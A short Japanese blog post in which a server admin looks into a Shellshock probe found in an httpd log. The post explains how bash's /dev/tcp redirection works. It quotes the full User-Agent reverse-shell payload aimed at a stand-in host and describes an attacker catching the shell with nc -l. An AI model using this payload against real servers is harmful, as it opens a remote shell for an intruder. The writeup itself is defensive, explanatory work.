bashでリダイレクトを使ったソケット通信

vpshttpdのログにbash脆弱性を狙ったアクセスが来ていて、たいていはどこかへpingを実行したり、HTTPヘッダにX-Bash-Test というのを含めて脆弱性を確認してるだけ、みたいなのだけど、その中で見慣れないログを見つけた。

User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/192.0.2.1/8080 0>&1

(/dev/tcp の後は/ipアドレス/port 上のは適当な例)

/dev/tcp ?

こいつは何がしたい?

  • "/bin/bash -i >& /dev/tcp/192.0.2.1/8080 0>&1"

/bin/bash -i を実行したときの標準入力(0)、標準出力(1)、標準エラー(2) 、つまり全ての入出力を/dev/tcp/192.0.2.1/8080 にリダイレクトにしている。(">& hoge.txt" は "> hoge.txt 2>&1" と同じ意味)

入出力リダイレクトはともかく、リダイレクト先の/dev/tcp/192.0.2.1/8080 って何?
アドレスとportは接続先だとして、/dev/tcpなんてディレクトリ見たことないぞ?

$ ls -ld /dev/{tcp,udp}
ls: cannot access /dev/tcp: そのようなファイルやディレクトリはありません
ls: cannot access /dev/udp: そのようなファイルやディレクトリはありません

やっぱりない。間抜けな攻撃元だったか こやつめハハハと思ったけど、何だか気になったのでman bashしてみたら書いてあった。

bash は、以下の表にあるようなファイル名がリダイレクトに使用されると、それらを特別に扱います。

  /dev/tcp/host/port
    host が有効なホスト名またはインターネットアドレスで port が整数のポート番号ならば、
    bash は対応するソケットに対して TCP 接続のオープンを試みます。

  /dev/udp/host/port
    host が有効なホスト名またはインターネットアドレスで port が整数のポート番号ならば、
    bash は対応するソケットに対して UDP 接続のオープンを試みます。

えー、そんなんあったんだ。

本題

前置き終わり。

というわけで/dev/tcp/host/port というのはbashの機能だった。攻撃元(上の例では192.0.2.1)のサーバでnc -l 8080 などを実行しておいて、攻撃先の脆弱なbashを狙って"/bin/bash -i >& /dev/tcp/192.0.2.1/8080 0>&1" を実行できてしまえばlistenしているncが攻撃先のbashのリダイレクトを受け取って、shellを操作できるっていうわけだな。